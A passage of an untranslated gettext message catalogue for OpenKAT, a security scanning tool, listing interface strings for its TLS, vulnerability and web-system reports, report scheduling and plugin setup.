reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated 